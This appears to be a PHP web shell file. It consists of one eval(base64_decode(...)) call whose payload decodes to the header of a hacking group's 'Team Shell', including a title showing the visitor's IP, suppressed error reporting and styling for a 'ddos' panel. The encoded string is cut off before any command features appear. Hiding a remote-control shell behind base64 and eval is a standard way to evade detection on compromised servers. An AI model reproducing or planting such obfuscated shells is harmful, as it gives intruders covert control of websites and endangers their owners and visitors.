eval("".base64_decode("PD9waHANCiRoZWFkZXIgPSAnPCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgICAgICAgPGhlYWQ+JzsNCiAgICAgICAgZWNobyAkaGVhZGVyOw0KICAgICAgICA/Pg0KICAgICAgICAJPD9waHANCiAgICAgICAgCSRpcEFkZHJlc3MgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICAgICAgCSR0aXRsZSA9ICgiPHRpdGxlPiRpcEFkZHJlc3MgW1Rlcm11eEhhY2t6IFNvY2lldHkgVGVhbSBTaGVsbF0tLTwvdGl0bGU+Iik7DQogICAgICAgIAllY2hvICR0aXRsZTsNCiAgICAgICAgCT8+DQogICAgICAgIAkJPD9waHANCiAgICAgICAgCQkkaGVhZF9ib2R5ID0gJw0KICAgICAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJUaGlzIFNoZWxsIGlzIERlc2lnbmVkIEJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSBNZW1iZXJzIiAvPg0KICAgICAgICAgICAgICAgIDxub3NjcmlwdD5LaW5kbHkgZW5hYmxlIGphdmFzY3JpcHQgZnJvbSB5b3VyIGJyb3dzZXIgc2V0dGluZ3MgZm9yIHRoaXMgc2hlbGwgdG8gd29yayBwcm9wZXJseSBYRCA6UCA8L25vc2NyaXB0Pg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGggaW5pdGlhbC1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCBtYXhpbXVtLXNjYWxlPTEuMCI+DQogICAgICAgICAgICAgICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iIj48IS0tIEZvciBSZWZyZXNoaW5nIFBhZ2UgQWZ0ZXIgMzYwMCBJbnRlcnZhbHMgb2YgdGltZSAtLT4NCiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iVXNlIGl0IHdoZXJlIG90aGVyIHNoZWxscyBkb250IHdvcmssIGJ1dCBpIGJldCBpdCB3aWxsIHdvcmssIGl0IGlzIGNyZWF0ZWQgYnkgVGVybXV4SGFja3ogU29jaWV0eSBUZWFtIE1lbWJlcnMiIC8+DQogICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTEuOC4yLmpzIj48L3NjcmlwdD4NCiAgICAgICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJ0ZXJtdXhoYWNreiBzb2NpZXR5IiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0idGVybXV4aGFja3ogc29jaWV0eSIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSJyZXZpc2l0LWFmdGVyIiBjb250ZW50PSIxODAwIiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9Imxhbmd1YWdlIiBjb250ZW50PSJlbiIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBjb250ZW50PSJnZW5lcmFsIiBuYW1lPSJyYXRpbmciIC8+DQogICAgICAgICAgICAgICAgPG1ldGEgY29udGVudD0iZ29vZ2xlIiBuYW1lPSJnZW5lcmF0b3IiIC8+DQogICAgICAgICAgICAgICAgPG1ldGEgY29udGVudD0iZm9sbG93LGFsbCIgbmFtZT0idGVybXV4aGFja3ogYm90IiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIGNvbnRlbnQ9ImZvbGxvdyxhbGwiIG5hbWU9InRlcm11eGhhY2t6IGJvdCIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBjb250ZW50PSJwYWtpc3RhbiwgbmlnZXJpYSwgc291dGggYWZyaWNhIiBuYW1lPSJnZW8ucGxhY2VuYW1lIiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIGNvbnRlbnQ9ImluZGV4LGZvbGxvdyxhbGwiIG5hbWU9Imdvb2dsZWJvdCIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFLWVkZ2UiIC8+DQogICAgICAgICAgICAgICAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL2lpbGkuaW8vWXJ3UTViLmpwZyIgLz4NCiAgICAgICAgICAgICAgICA8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20iPg0KPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tIiBjcm9zc29yaWdpbj4NCjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvK01vbm86d2dodEA3MDAmZGlzcGxheT1zd2FwIiByZWw9InN0eWxlc2hlZXQiPg0KICAgICAgICAgICAgICAgIDxzY3JpcHQ+DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS56b29tID0gMS4wDQogICAgICAgICAgICAgICAgPC9zY3JpcHQ+DQogICAgICAgICAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KICAgIDwhLS0gIzA4MDUxMCAtLT4gIDwhLS0gICNmZjdmMDAgLS0+IDwhLS0gIzAwNTY5NSAtLT48bWV0YSBuYW1lPSJzZWFyY2ggZW5naW5lcyIgY29udGVudD0iQWVpd2ksQWxleGEsQWxsVGhlV2ViLEFsdGFWaXN0YSxBT0xOZXRmaW5kLEFuendlcnMsQ2FuYWRhLERpcmVjdEhpdCxFdXJvU2VlayxFeGNpdGUsT3ZlcnR1cmUsR28sR29vZ2xlLEhvdEJvdCBJbmZvTWFrLEthbm9vZGxlLEx5Y29zLE1hY2hpbmVTaXRlLE5hdGlvbmFsIERpcmVjdG9yeSxOb3J0aGVybiBMaWdodCxTZWFyY2hJdCxTaW1wbGVTZWFyY2gsV2Vic01vc3RMaW5rZWQsV2ViVG9wLFdoYXQtVS1TZWVrLEFPTCxZYWhvbyxXZWJDcmF3bGVyLEluZm9zZWVrLEV4Y2l0ZSxNYWdlbGxhbixMb29rU21hcnQsYmluZyxDTkVULEdvb2dsZWJvdCIgLz4NCiAgICAnOw0KICAgIGVjaG8gJGhlYWRfYm9keTsNCiAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVycm9yX3JlcG9ydGluZygwKTsgPz4NCiAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAJJHN0eWxlX2JvZHkgPSAnDQogICAgICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgYm9keSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybCgiaHR0cHM6Ly9paWxpLmlvL2FHS21HOS5qcGciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6ICJSb2JvdG8gTW9ubyIsIG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAuaGVhZGluZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzMDAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogc2VyaWY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHJhbnNpdGlvbjogMC44czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lOyAvKiBzdXBwb3J0ZWQgYnkgQ2hyb21lIGFuZCBPcGVyYSAqLw0KICAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTsgLyogU2FmYXJpICovDQogICAta2h0bWwtdXNlci1zZWxlY3Q6IG5vbmU7IC8qIEtvbnF1ZXJvciBIVE1MICovDQogICAtbW96LXVzZXItc2VsZWN0OiBub25lOyAvKiBGaXJlZm94ICovDQogICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC5oZWFkaW5nOmhvdmVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IGdvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzA1JTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlWSgzNjBkZWcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgdHIgew0KICAgICAgICAgICAgICAgICAgICAgICAgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQogICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0ZGRjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHRkIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEJPUkRFUjogZGFzaGVkIDFweCAjMzMzOw0KICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNGRkY7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIC5idXR0b25zIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMnZoOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogYXV0bzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiBhdXRvOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY29taWMgc2FucyBtczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7IC8qIHN1cHBvcnRlZCBieSBDaHJvbWUgYW5kIE9wZXJhICovDQogICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lOyAvKiBTYWZhcmkgKi8NCiAgIC1raHRtbC11c2VyLXNlbGVjdDogbm9uZTsgLyogS29ucXVlcm9yIEhUTUwgKi8NCiAgIC1tb3otdXNlci1zZWxlY3Q6IG5vbmU7IC8qIEZpcmVmb3ggKi8NCiAgIC1tcy11c2VyLXNlbGVjdDogbm9uZTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDU2OTU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTEwJTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogNHB4Ow0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPXN1Ym1pdF0gew0KICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW46IGF1dG87DQogICAgICAgICAgICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXQ6OnBsYWNlaG9sZGVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA7aHQ6IDkwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDBweCAxMnB4IGxpZ2h0Z3JlZW47DQogICAgICAgICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgZ29sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlucHV0W3R5cGU9c3VibWl0XTo6cGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY3Vyc2l2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IGJsYWNrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6IGJsYWNrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItc3R5bGU6IGdyb292ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBvcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItc3R5bGU6IGdyb292ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHRleHRhcmVhIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IGN1cnNpdmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWZyYW1lIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IGN1cnNpdmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYTpob3ZlciB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHRlYWw7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAuZm9vdGVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWZ0OiAwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJpZ2h0OiAwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMXZoOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogcmVkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE2MCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC5kZWYgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY3Vyc2l2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMDAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBwIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IGxpZ2h0Z3JlZW47DQogICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogOTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgI2J1dHRvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGJsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA2cHggMTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogMzBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPC9zdHlsZT4NCiAgICAgICAgPC9oZWFkPg0KICAgICAgICAnOw0KICAgICAgICBlY2hvICRzdHlsZV9ib2R5Ow0KICAgICAgICA/Pg0KICAgICAgICA8P3BocA0KICAgICAgICBlY2hvICcNCiAgICAgICAgPHN0eWxlPg0KICAgICAgICBsYWJlbCB7DQogICAgICAgICAgY29sb3I6IGdyZWVuOw0KICAgICAgICAgIGZvbnQtc2l6ZToxNXB4Ow0KICAgICAgICAgIG1hcmdpbjogMDsNCg0KICAgICAgICB9DQogICAgICAgIHByZSB7DQogICAgICAgICAgY29sb3I6IG9yYW5nZTsNCiAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIHBhZGRpbmc6M3B4Ow0KICAgICAgICB9DQogICAgICAgICNsb2cgew0KICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgICAgICAgIGNvbG9yOiBibGFjazsNCiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZWQ7DQogICAgICAgICAgb3V0bGluZTogcmVkOw0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHggMTBweCAyMHB4Ow0KICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgIH0NCiAgICAgICAgI3BvcnQgew0KICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgfQ0KICAgICAgICAjaW50cm8gew0KICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgICBmb250LWZhY2U6IGN1cnNpdmU7DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIGNvbG9yOiAjNjQ5NWVkOw0KICAgICAgICB9DQogICAgICAgIC5jb3ZlciB7DQogICAgICAgICAgd2lkdGg6IDMwJTsNCiAgICAgICAgICBoZWlnaHQ6IGF1dG87DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEzcHg7DQogICAgICAgICAgYm9yZGVyOiAycHggc29saWQgd2hpdGU7DQogICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCiAgICAgICAgICBmb250LWZhbWlseTogc2Fucy1zZXJpZjsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQoNCiAgICAgICAgfQ0KICAgICAgICAjbG9uZyB7DQogICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgaGVpZ2h0OmF1dG87DQogICAgICAgICAgYm9yZGVyLWxlZnQtc3R5bGU6IG5vbmU7DQogICAgICAgICAgYm9yZGVyLXJpZ2h0LXN0eWxlOiBub25lOw0KICAgICAgICAgIHBhZGRpbmc6IDZweDsNCiAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgY29sb3I6IGRhcmtibHVlOw0KICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgIH0NCiAgICAgICAgI2Nsb3NlIHsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCBncmVlbjsNCiAgICAgICAgICBwYWRkaW5nOiA0cHggNnB4Ow0KICAgICAgICAgIGZvbnQtZmFtaWx5OiAibW9udGVzZXJyYXQiOw0KICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICBtYXJnaW46IDEwcHg7DQogICAgICAgICAgd2lkdGg6IDQwcHg7DQogICAgICAgICAgY29sb3I6IHJlZDsNCiAgICAgICAgICBoZWlnaHQ6IDQwcHg7DQogICAgICAgICAgdHJhbnNpdGlvbjogMC44czsNCiAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgZm9udC1zaXplOiAxNnB4Ow0KICAgICAgICB9DQogICAgICAgICNjbG9zZTpob3ZlciB7DQogICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgYm94LXNoYWRvdzogMCAwcHggMTJweCBsaWdodGJsdWU7DQoNCiAgICAgICAgfQ0KICAgICAgICAjY2xvc2U6OmJlZm9yZSB7DQogICAgICAgICAgY29udGVudDogIiI7DQogICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgIGxlZnQ6IDA7DQogICAgICAgICAgd2lkdGg6IDUwcHg7DQogICAgICAgICAgaGVpZ2h0OiAwJTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICB0cmFuc2l0aW9uOiAwLjhzOw0KICAgICAgICB9DQogICAgICAgICNkZG9zIHsNCiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCiAgICAgICAgICBwYWRkaW5nOiAxNnB4IDIwcHg7DQogICAgICAgICAgbWFyZ2luOiBhdXRvOw0KICAgICAgICAgIHdpZHRoOiA1MCU7DQogICAgICAgICAgaGVpZ2h0OiBhdXRvOw0KICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgICAgICAgIGJveC1zaGFkb3c6IDAgMHB4IDEycHggI2FlYWViNTsNCiAgICAgICAgICBib3JkZXI6IDA7DQogICAgICAgICAganVzdGlmeS1pdGVtczogY2VudGVyOw0KICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDdweDsNCiAgICAgICAgfQ0KICAgICAgICAucmVkMXsNCiAgICAgICAgICBjb2xvcjogcmVkOw0KICAgICAgICAgIGZvbnQtZmFtaWx5OiAiQ291cmllciBOZXciLCBDb3VyaWVyLCBtb25vc3BhY2U7DQogICAgICAgICAgZm9udC1zaXplOiA1MHB4Ow0KICAgICAgICAgIG1hcmdpbjogMCBhdXRvOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAg